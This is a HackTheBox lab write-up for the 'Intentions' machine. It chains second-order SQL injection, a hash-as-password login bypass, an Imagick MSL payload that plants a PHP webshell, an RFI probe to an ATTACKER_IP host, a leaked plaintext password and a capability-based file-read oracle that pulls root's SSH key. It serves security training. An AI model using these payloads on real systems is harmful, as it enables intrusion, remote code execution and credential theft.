HTB: Intentions Writeup

Intentions - HackTheBox Writeup

Machine Information

AttributeDetails
NameIntentions
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.229.27
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Intentions is a hard Linux box built around a Laravel-powered image gallery. The front door isn’t a known CVE — it’s a second-order SQL injection buried in a “favorite genres” preference field that only fires once that stored value is later reflected into a feed query. Dumping the users table yields bcrypt password hashes that are effectively uncrackable, but a hidden /api/v2 endpoint turns out to accept the raw hash as the password, letting an attacker log in as an admin without ever breaking the hash. From the admin panel, an image-editing feature backed by PHP’s Imagick extension is abused via arbitrary object instantiation to drop a PHP webshell on disk, yielding code execution as www-data. A .git directory left in the web root leaks a developer’s plaintext credentials in the commit history, providing SSH access and the user flag. Root is obtained by abusing a custom binary with the cap_dac_read_search capability as an arbitrary-file-read oracle, byte-by-byte extracting root’s SSH private key.

TL;DR: Second-order blind SQLi (genres → feed) → dump bcrypt hashes → /api/v2 hash-as-password auth bypass (admin) → Imagick arbitrary object instantiation RCE via vid:msl:www-data → credentials in .git log -p → user gregcap_dac_read_search binary as a file-read oracle → exfiltrate root’s SSH key → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP sweep against the target
nmap -sC -sV -T4 -p- 10.129.229.27

Results:

PortStateService
22/tcpopenssh
80/tcpopenhttp (nginx)

Only two ports exposed. No SSH creds at this stage, so port 80 is the only viable entry point.

Service Enumeration

The web application on port 80 is an image gallery site with registration/login. After creating an account and authenticating, the app exposes a gallery view (images tagged by genre) and a feed view, plus a profile page with a Favorite Genres preference (default food,travel,nature). The feed content is clearly derived from that stored preference, and it’s the only place in the app where user-controlled input round-trips through the backend twice — once on save, once on the next feed fetch. That round-trip is the natural place to hunt for a second-order injection rather than a reflected one.

The app also revealed a versioned API surface (/api/v1/...), and further poking uncovered a parallel, less-documented /api/v2/... surface with its own auth and admin endpoints.

Vulnerability Assessment

  • Second-order SQL injection in the genre-preference → feed pipeline.
  • A /api/v2 auth endpoint that authenticates against a raw password hash instead of a plaintext password.
  • An Imagick-backed image “effects” endpoint in the admin panel that takes a filesystem path — a candidate for arbitrary file read/RFI via PHP’s Imagick wrappers.
  • A .git directory shipped inside the web root.
  • A capability-enabled setuid-adjacent binary (cap_dac_read_search) reachable post-foothold.

Initial Foothold

Second-Order Blind SQL Injection

The update genres request and the fetch feed request were captured and fed to sqlmap as a linked second-order pair:

Terminal window
# updateGenresRequest = POST to /api/v1/gallery/user/genres (saved raw HTTP request)
# fetchFeedRequest = GET to /api/v1/gallery/user/feed (saved raw HTTP request)
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --ignore-stdin

The --ignore-stdin flag was required specifically because sqlmap was being driven from a non-interactive SSH session on the operations jump box — without it, sqlmap blocks waiting on a TTY prompt it will never receive and silently hangs instead of running. That’s a jump-box-specific gotcha, not a target-side issue.

A direct injection against the update request alone comes back clean — the app appears to sanitize the genres value on save. But the genres field is later concatenated back into the feed query unescaped, so the injection only becomes exploitable on the second request, once the poisoned value round-trips out of storage. This is the textbook definition of second-order SQLi: the payload survives a write, then detonates on a later, unrelated read.

With the injection confirmed, the users table was dumped:

Terminal window
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --ignore-stdin \
-T users --dump

This recovered bcrypt password hashes for the application’s admin account, steve. Bcrypt hashes at cost factor 10+ aren’t realistically crackable offline in any useful timeframe, so the password itself was a dead end — but the hash value turned out to be reusable elsewhere.

API v2 Hash-as-Password Auth Bypass

Probing the /api/v2/auth/login endpoint directly showed it expects a hash parameter instead of the password parameter used by /api/v1/auth/login:

Terminal window
curl -X POST http://10.129.229.27/api/v2/auth/login
# {"status":"error","errors":{"email":["The email field is required."],"hash":["The hash field is required."]}}

Compare to v1:

Terminal window
curl -X POST http://10.129.229.27/api/v1/auth/login
# {"status":"error","errors":{"email":["The email field is required."],"password":["The password field is required."]}}

The v2 endpoint isn’t hashing an incoming password and comparing — it’s taking the bcrypt hash straight from the request and matching it directly against the stored value. Since the SQLi dump already produced steve’s bcrypt hash, that hash could be submitted directly as the hash parameter to authenticate as an administrator, with no cracking required:

Terminal window
curl -X POST http://10.129.229.27/api/v2/auth/login \
-d "email=steve@intentions.htb&hash=<bcrypt_hash_from_sqlmap_dump>"
# {"status":"success","name":"steve"}

This is a straightforward authentication-logic flaw: v2 was clearly built to support some internal/service-to-service auth flow (auth via already-hashed credentials) but was left reachable from the public login surface, turning “steal the hash” into “become the user” with zero cracking cost.

Imagick Arbitrary Object Instantiation → RCE

Inside the now-accessible admin panel, an image editing feature posts to /api/v2/admin/image/modify with a JSON body containing an absolute server-side path and an effect name — this is what actually invokes Imagick server-side to process the image.

Submitting a path pointing at an attacker-controlled HTTP listener confirmed the endpoint performs a live fetch (RFI) rather than only reading local disk:

{"path":"http://ATTACKER_IP/test","effect":"wave"}

An inbound HTTP request to /test on the listener confirmed the target was reaching out for the “image” before processing it. This is the signature of Imagick’s coder/protocol wrapper system (msl:, vid:, caption:, info:, etc.) being fed attacker-influenced input — the same class of bug documented publicly by Certitude Consulting as “arbitrary object instantiation” abuse of Imagick’s MSL scripting language, allowing an MSL script to be smuggled in and executed as if it were an image transform.

An MSL payload was crafted to read a PHP one-liner via the caption: pseudo-protocol and write it out via info: to the application’s public storage path:

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php @passthru(@$_REQUEST['c']); ?&gt;" />
<write filename="info:/var/www/html/intentions/storage/app/public/rce.php" />
</image>

That MSL file was then uploaded via the same /modify endpoint, targeting Imagick’s PHP-temp-file glob so the uploaded MSL gets picked up and executed without needing to predict its temp filename:

Terminal window
curl 'http://10.129.229.27/api/v2/admin/image/modify' -X POST \
-H "X-XSRF-TOKEN: <token>" -H "Cookie: XSRF-TOKEN=<token>; token=<session>" \
-F 'path=vid:msl:/tmp/php*' \
-F 'effect=asd' \
-F file=@payload.msl

Confirming the drop and popping the shell:

Terminal window
curl "http://10.129.229.27/storage/rce.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

This gave command execution as www-data through the dropped rce.php webshell.


Privilege Escalation

www-data → greg via Git History

Enumerating the web root as www-data turned up a .git directory sitting inside the deployed application — a common CI/deploy hygiene miss (the .git folder should never ship to production). Reading the commit history required working around www-data’s lack of write access to its normal $HOME, so HOME was pointed at a writable scratch directory instead:

Terminal window
# www-data has no writable $HOME, so git's config lookup is redirected to a writable dir
HOME=/dev/shm git config --global --add safe.directory /var/www/html/intentions
HOME=/dev/shm git log -p

Walking the diff history surfaced a developer test helper that had, at one point, hard-coded a login credential for a greg account used in the test suite. The recovered plaintext credential matched exactly:

Gr3g1sTh3B3stDev3l0per!1998!

That credential authenticated over SSH directly:

Terminal window
ssh greg@10.129.229.27

With a shell as greg, the user flag was retrieved from /home/greg/user.txt:

User Flag: <redacted>

greg → root via CAP_DAC_READ_SEARCH File-Read Oracle

Enumerating greg’s home and group memberships pointed at a custom binary, /opt/scanner/scanner, invoked by a dmca_check.sh helper script against a hash blacklist file. The binary is not setuid and isn’t run through sudo, yet it can successfully read and hash files greg cannot access directly — the tell that it’s running with elevated capabilities rather than elevated ownership:

Terminal window
getcap /opt/scanner/scanner
# /opt/scanner/scanner cap_dac_read_search=ep

cap_dac_read_search grants the process the ability to bypass discretionary file-read and directory-traversal permission checks system-wide — effectively “read any file” without full root, and without needing setuid. The scanner’s actual job is mundane (compare a target file’s MD5 against a blacklist of LABEL:MD5 entries), but that comparison function itself becomes an oracle: feed it a candidate hash for a file it can’t show you directly, and its match/no-match verdict leaks one bit of ground truth about that file’s contents per guess.

That oracle behavior was first validated against a file with a known, predictable target (/etc/passwd) to confirm the byte-by-byte extraction technique actually worked end-to-end before spending guesses against anything sensitive. Once confirmed, the same technique was run against /root/.ssh/id_rsa:

  • Feed the scanner a hash-list entry against a candidate value for the next unknown byte of the target file.
  • Iterate MD5 guesses per byte position, using scanner’s match/no-match result as the oracle signal to confirm each byte before moving to the next.
  • Reassemble the file from the confirmed byte stream.

This fully exfiltrated root’s private SSH key, which was then used to authenticate directly:

Terminal window
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.229.27
# uid=0(root) gid=0(root) groups=0(root)
Root Flag: <redacted>

Attack Chain Summary

Nmap recon (22/ssh, 80/http)
→ Register/login to gallery app
→ Second-order blind SQLi: genres (write) → feed (detonate) via sqlmap --second-req --ignore-stdin
→ Dump users table → bcrypt hash for admin "steve"
→ /api/v2/auth/login accepts raw hash as credential → authenticated as admin
→ /api/v2/admin/image/modify → Imagick RFI confirmed → MSL payload (caption:/info:) → PHP webshell dropped
→ RCE as www-data
→ .git left in web root → HOME=/dev/shm git log -p → greg's plaintext password leaked
→ SSH as greg → user.txt
→ /opt/scanner/scanner has cap_dac_read_search → byte-by-byte MD5-oracle file read
→ Exfiltrate /root/.ssh/id_rsa → SSH as root → root.txt

Tools Used

ToolPurpose
nmapPort scanning
sqlmapSecond-order blind SQL injection exploitation and data dump
curlManual API probing, v2 auth bypass, MSL payload upload, webshell interaction
gitReading .git commit history for leaked credentials
sshLateral movement as greg, final root access
Custom byte-by-byte MD5-oracle scriptAbusing cap_dac_read_search scanner binary to exfiltrate root’s SSH key

Key Learnings

Techniques Practiced

  • Identifying and exploiting second-order (store-then-detonate) blind SQL injection with sqlmap’s --second-req
  • Recognizing and abusing an authentication-logic flaw where a hashed credential is accepted directly as a login secret
  • Exploiting PHP Imagick arbitrary object instantiation via MSL scripting (caption:/info: pseudo-protocols) for webshell drop
  • Mining .git history for leaked developer credentials, including working around $HOME-relative git config permission errors
  • Turning a Linux capability (cap_dac_read_search) on a narrow-purpose binary into a generic byte-by-byte arbitrary file-read oracle

Lessons Learned

  1. Sanitization on write does not imply sanitization on read — always retest injection points that resurface stored data elsewhere in the app (second-order SQLi).
  2. Bcrypt hashes being “uncrackable” doesn’t mean they’re useless to an attacker — if any endpoint treats the hash itself as a bearer credential, cracking was never required.
  3. Running sqlmap -r from a non-interactive SSH session (e.g., a shared jump box) requires --ignore-stdin, or the tool silently blocks waiting on a TTY that will never respond.
  4. Never ship a .git directory to a production web root — commit history is a durable, easily-missed credential leak vector even long after the code itself has changed.
  5. Linux capabilities on a non-setuid, non-sudo binary can still fully bypass DAC checks (cap_dac_read_search); any program that hashes/compares file contents on your behalf is a potential oracle for exfiltrating files you can’t read directly.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Intentions — Official HackTheBox Writeup (Document No. D23.100.252, prepared by amra, Machine Author: htbas9du) — used as an explanatory reference for the Imagick arbitrary object instantiation technique and the cap_dac_read_search privilege escalation mechanism.